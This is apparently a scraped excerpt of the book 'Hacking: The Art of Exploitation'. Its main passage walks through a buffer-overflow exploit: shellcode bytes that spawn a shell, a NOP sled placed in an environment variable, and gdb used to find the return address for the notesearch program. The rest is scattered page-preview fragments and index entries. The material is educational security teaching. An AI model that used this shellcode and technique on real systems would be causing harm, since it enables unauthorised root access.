hacking-the-art-of-exploitation

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\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89 \xe1\xcd\x80 reader@hacking:~/booksrc $ The first 10 lines of the program are piped into grep, which only shows the lines that begin with a quotation mark. This isolates the lines containing the shellcode, which are then piped into cut using options to display only the bytes between two quotation marks. BASH’s for loop can actually be used to send each of these lines to an echo command, with command-line options to recognize hex expansion and to suppress adding a newline character to the end. reader@hacking:~/booksrc $ for i in $(head exploit_notesearch.c | grep "^\"" | cut -d\" -f2) > do > echo -en $i > done > shellcode.bin reader@hacking:~/booksrc $ hexdump -C shellcode.bin 00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh| 00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.| 00000020 e1 cd 80 |...| 00000023 reader@hacking:~/booksrc $ Now we have the shellcode in a file called shellcode.bin. This can be used with command substitution to put shellcode into an environment variable, along with a generous NOP sled. reader@hacking:~/booksrc $ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin) reader@hacking:~/booksrc $ echo $SHELLCODE j 111 reader@hacking:~/booksrc $ XQh//shh/binQS And just like that, the shellcode is now on the stack in an environment variable, along with a 200-byte NOP sled. This means we just need to find an address somewhere in that range of the sled to overwrite the saved return address with. The environment variables are located near the bottom of the stack, so this is where we should look when running notesearch in a debugger. reader@hacking:~/booksrc $ gdb -q ./notesearch Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x804873c (gdb) run Starting program: /home/reader/booksrc/notesearch Breakpoint 1, 0x0804873c in main () (gdb) 144 0x300
A breakpoint is set at the beginning of main(), and the program is run. This will set up memory for the program, but it will stop before anything happens. Now we can examine memory down near the bottom of the stack. (gdb) i r esp esp 0xbffff660 0xbffff660 (gdb) x/24s $esp + 0x240 0xbffff8a0: "" 0xbffff8a1: "" 0xbffff8a2: "" 0xbffff8a3: "" 0xbffff8a4: "" 0xbffff8a5: "" 0xbffff8a6: "" 0xbffff8a7: "" 0xbffff8a8: "" 0xbffff8a9: "" 0xbffff8aa: "" 0xbffff8ab: "i686" 0xbffff8b0: "/home/reader/booksrc/notesearch" 0xbffff8d0: "SSH_AGENT_PID=7531" 0xbffffd56: "SHELLCODE=", '\220' ... 0xbffff9ab: "\220\220\220\220\220\220\220\220\220\2201ï¿½1ï¿½1ï¿½\231ï¿½ï¿½ï¿½\200j\vXQh// shh/bin\211ï¿½Q\211ï¿½S\211ï¿½ï¿½\200" 0xbffff9d9: "TERM=xterm" 0xbffff9e4: "DESKTOP_STARTUP_ID=" 0xbffff9f8: "SHELL=/bin/bash" 0xbffffa08: "GTK_RC_FILES=/etc/gtk/gtkrc:/home/reader/.gtkrc-1.2-gnome2" 0xbffffa43: "WINDOWID=39845969" 0xbffffa55: "USER=reader" 0xbffffa61: "LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or= 40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01 ;31:*.taz=0"... 0xbffffb29: "1;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.deb=01;31:*.rpm=01;3 1:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01 ;35:*.tga=0"... (gdb) x/s 0xbffff8e3 0xbffff8e3: "SHELLCODE=", '\220' ... (gdb) x/s 0xbffff8e3 + 100 0xbffff947: '\220' , "1ï¿½1ï¿½1ï¿½\231ï¿½ï¿½ï¿½\200j\vXQh//shh/bin\ 211ï¿½Q\211ï¿½S\211ï¿½ï¿½\200" (gdb) The debugger reveals the location of the shellcode, shown in bold above. (When the program is run outside of the debugger, these addresses might be a little different.) The debugger also has some information on the stack, which shifts the addresses around a bit. But with a 200-byte NOP sled, these inconsistencies aren’t a problem if an address near the middle of the sled is picked. In the output above, the address 0xbffff947 is shown to be close to the middle of the NOP sled, which should give us enough wiggle room. After determining the address of the injected shellcode instructions, the exploitation is simply a matter of overwriting the return address with this address. Exploitation 145
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CD INside 2nd Edition Hacking the a
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® San Francisco
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BRIEF CONTENTS Preface ............
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0x300 EXPLOITATION 115 0x310 Genera
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0x6a0 Hardening Countermeasures....
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ACKNOWLEDGMENTS I would like to tha
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2 0x100 The rules for this problem
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4 0x100 overly simplistic encryptio
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can be written to accomplish any gi
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0x230 Control Structures Without co
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lest it continue into infinity. A w
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called constants. Returning to the
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Quite often in programs, variables
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0x244 Functions Sometimes there wil
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void turn(variable_direction, targe
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library, a function prototype is ne
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Like a row of houses on a local str
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Below, GDB is used to show the stat
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There are also operations that are
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The display format also uses a sing
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The first four bytes are shown both
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(gdb) x/10i $eip 0x804838b : cmp DW
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022 18 12 DC2 122 82 52 R 023 19 13
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familiar address of EBP minus 4 int
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the English language, knowledge of
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Function "strcpy" not defined. Make
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only be in one of 2 32 possible bit
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pointer.c #include #include int m
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addressof.c #include int main() {
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0x264 Format Strings The printf() f
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The final line just shows the addre
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As discussed earlier, dividing the
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} } printf("[char pointer] points t
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Naturally, it is far easier just to
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This is rather hacky, but since thi
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eader@hacking:~/booksrc $ ./a.out '
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0x267 Variable Scoping Another inte
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[in func1] i = 5, j = 42 [in func2]
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10 (gdb) break 7 Breakpoint 1 at 0x
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Notice that the static_var retains
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70 0x200 The heap segment is a segm
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End of assembler dump (gdb) disass
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0x804836f : mov DWORD PTR [esp+8],0
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int global_initialized_var = 5; voi
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int main(int argc, char *argv[]) {
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errorchecked_heap.c #include #incl
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The bar code on the back of this bo
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eader@hacking:~/booksrc $ ./simplen
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} printf("\n"); display_flags("O_WR
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eader@hacking:~/booksrc $ chmod 731
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uid_demo.c #include int main() { p
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} void fatal(char *); // A function
Page 108 and 109: #define FILENAME "/var/notes" int p
Page 110 and 111: [DEBUG] found a 34 byte note for us
Page 112 and 113: of current_time, an empty tm struct
Page 114 and 115: While struct memory can be accessed
Page 116 and 117: 815015288 1315541117 2080969327 450
Page 118 and 119: printf("6 - Reset your account at 1
Page 120 and 121: int fd; } printf("\n===============
Page 122 and 123: } } // This function is the Pick a
Page 124 and 125: invalid_choice = 1; while(invalid_c
Page 126 and 127: Would you like to play again? (y/n)
Page 128 and 129: 114 0x200 Play around with this pro
Page 130 and 131: A program can only do what it’s p
Page 132 and 133: don’t say exactly what their crea
Page 134 and 135: By now, you should be able to read
Page 136 and 137: eader@hacking:~/booksrc $ gcc explo
Page 138 and 139: 11 if(strcmp(password_buffer, "bril
Page 140 and 141: auth_overflow2.c #include #include
Page 142 and 143: As expected, the overflow cannot di
Page 144 and 145: (gdb) c Continuing. Breakpoint 2, c
Page 146 and 147: Notice the two lines shown in bold
Page 148 and 149: eader@hacking:~/booksrc $ perl -e '
Page 150 and 151: 0x0804848d : mov eax,DWORD PTR [eax
Page 152 and 153: 20 offset = atoi(argv[1]); (gdb) 21
Page 154 and 155: called the NOP sled, that can assis
Page 156 and 157: The function of the for loop should
Page 160 and 161: eader@hacking:~/booksrc $ ./notesea
Page 162 and 163: int main(int argc, char *argv[]) {
Page 164 and 165: char *buffer = (char *) malloc(160)
Page 166 and 167: 7e99000-b7e9a000 rw-p b7e99000 00:0
Page 168 and 169: for that user. Using the salt value
Page 170 and 171: 0x342 Overflowing Function Pointers
Page 172 and 173: 7 - Quit [Name: Jon Erickson] [You
Page 174 and 175: 0804b630 A _edata 0804b6d4 A _end 0
Page 176 and 177: n 5 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Page 178 and 179: 6 - Reset your account at 100 credi
Page 180 and 181: [Name: Jon Erickson] [You have 1230
Page 182 and 183: Parameter Input Type Output Type %d
Page 184 and 185: This is an interesting detail that
Page 186 and 187: 0x353 Reading from Arbitrary Memory
Page 188 and 189: The wrong way to print user-control
Page 190 and 191: The addresses and junk data at the
Page 192 and 193: eader@hacking:~/booksrc $ reader@ha
Page 194 and 195: 0x355 Direct Parameter Access Direc
Page 196 and 197: Since the stack doesn’t need to b
Page 198 and 199: 0x357 Detours with .dtors In binary
Page 200 and 201: located. Then the actual bytes are
Page 202 and 203: Since the .dtors section is writabl
Page 204 and 205: [DEBUG] found a 34 byte note for us
Page 206 and 207: eader@hacking:~/booksrc $ objdump -
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0x400 NETWORKING Communication and
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For example, whenever you browse th
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Datagram sockets and UDP are common
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From /usr/include/bits/socket.h /*
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htons(short value) Host-to-Network
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fatal("in socket"); if (setsockopt(
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When compiled and run, the program
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This reveals that the webserver is
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From /usr/include/netdb.h /* Descri
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} while(recv_line(sockfd, buffer))
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} /* This function handles the conn
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Accepting web requests on port 80 G
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the two addressing schemes. In the
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also exist on this layer. ICMP pack
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0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3
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Interrupt:16 Base address:0x2024 re
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u_char buffer[9000]; if ((sockfd =
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pcap_handle = pcap_open_live(device
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eader@hacking:~/booksrc $ $ grep -R
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The compiler padding, as mentioned
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Now that the headers are defined as
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The caught_packet() function gets c
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With the headers decoded and separa
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Due to timeout values, the victim m
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eader@hacking:~/booksrc $ sudo neme
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data structures for the packet head
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if (pd->file_mem == NULL) pd->file_
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only builds ethernet/IP ARP packets
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The remaining libnet functions get
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dest_ip = libnet_name_resolve(argv[
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In the example above, the host 192.
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0x454 Ping Flooding Flooding DoS at
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The host machine will receive the s
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char errbuf[PCAP_ERRBUF_SIZE]; // S
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TH_RST, // Control flags (RST flag
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Christmas tree), and the Null scan
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0x475 Proactive Defense (shroud) Po
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char errbuf[PCAP_ERRBUF_SIZE]; // S
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NULL, // Payload (none) 0, // Paylo
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} while(recv(sockfd, ptr, 1, 0) ==
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$1 = 540 (gdb) p /x 0xbffff5c0 + 20
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" 90 90 90 90 90 90 90 90 90 90 90
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When this exploit is compiled and r
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0x500 SHELLCODE So far, the shellco
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mmap2(0xb7ee4000, 9596, PROT_READ|P
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#define __NR_stime 25 #define __NR_
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In shellcode, the bytes for the str
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eader@hacking:~/booksrc $ export SH
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which means that a small value like
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Instruction inc dec Description I
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After assembling this shellcode, he
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exec_shell.s BITS 32 jmp short two
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eader@hacking:~/booksrc $ nasm tiny
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int setresuid(uid_t ruid, uid_t eui
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push BYTE 11 pop eax push ecx push
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So, to make socket system calls usi
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push BYTE 16 ; argv: { sizeof(serve
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00000030 80 b0 66 43 52 52 56 89 e1
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This loop iterates ECX from 0 to 2,
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push edx ; Build sockaddr struct: I
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pop eax inc ebx ; ebx = 2 (needed f
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the return address uses multiple by
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0x600 COUNTERMEASURES The golden po
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0x620 System Daemons To have a real
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} printf("Caught signal %d\t", sign
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tinywebd.c #include #include #inc
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if(fd == -1) { // If file is not fo
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In previous chapters, we’ve writt
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63 if (listen(sockfd, 20) == -1) 64
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message. Shell variables are used f
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There’s a simple mistake in the t
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any program to show every system ca
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0x080487ee : mov DWORD PTR [esp+8],
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0x08048f5f : call 0x08048f64 : nop
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push BYTE 0x6 ; Close () pop eax in
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A quick glance at the function prol
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push edx ; Build arg array: { proto
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This program can be used to inject
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Then, from another terminal, the ne
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strace is used with the -p command-
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ig red flag. We could change the po
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of new_sockfd will still be correct
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00000020 b0 3f cd 80 49 79 f9 b0 0b
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push ebx mov ecx, esp int 0x80 ; pu
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Instruction Hex ASCII inc eax 0x40
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eader@hacking:~/booksrc $ gcc -o up
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Amazingly, these instructions, comb
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ESP up (toward lower memory address
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eader@hacking:~/booksrc $ gcc -o pr
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At the end, the shellcode has been
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esp 0xbffffa2c 0xbffffa2c eax 0x0 0
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functions are shared, so any progra
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A quick binary search shows that th
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eginning of the buffer. When a prog
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The breakpoint is set at the last i
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Bouncing off linux-gate refers to a
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matrix@loki /hacking $ for i in `se
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manual page for execve() for detail
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for(i=0; i < 90; i+=4) // Fill buff
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encryption, credit card transaction
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through the incorrect filter, its p
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This means that, in general, the gr
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Without some way to manipulate the
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With a little bit of basic algebra,
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Since this is all done modulo N, th
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0x750 Hybrid Ciphers A hybrid crypt
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[:] - Static route to port on host
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communication channel with the atta
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e asked to add the new fingerprint.
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to be a bit hazy. The goal behind t
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---[Current State]-----------------
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0x760 Password Cracking Passwords a
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crypt_crack.c #define _XOPEN_SOURCE
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Custom dictionary files are often m
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possible hashes for a single plaint
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Of course, there are downsides. Fir
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charval = (k-32)*95 + (l-32); // La
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} /* Print the plaintext pairs that
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printf("Building probability vector
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Of course, if WEP is turned on, onl
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Now when keystream data is needed,
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After an IV collision is discovered
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is really quite amazing. It takes a
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Seed = IV concatenated with the key
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int key[13] = {1, 2, 3, 4, 5, 66, 7
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and the key is hard-coded into the
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9 0 | 41 1 | 73 0 | 105 0 | 137 1 |
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0x800 CONCLUSION Hacking tends to b
Page 467 and 468:
CNET News. “40-Bit Crypto Proves
Page 469 and 470:
INDEX Symbols & Numbers & (ampersan
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uffer overrun, 119 buffers, 38 prog
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dtors_sample.c program, 184 dump()
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declaring as void, 17 for error che
Page 477 and 478:
Internet Protocol (IP), 220 address
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nemesis_arp() function, 245 nemesis
Page 481 and 482:
pointer_types4.c program, 56 pointe
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session layer (OSI), 196 for web br
Page 485 and 486:
text segment, of memory, 69 then ke
Page 488 and 489:
More No-Nonsense Books from NO STAR
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UPDATES Visit http://www.nostarch.c
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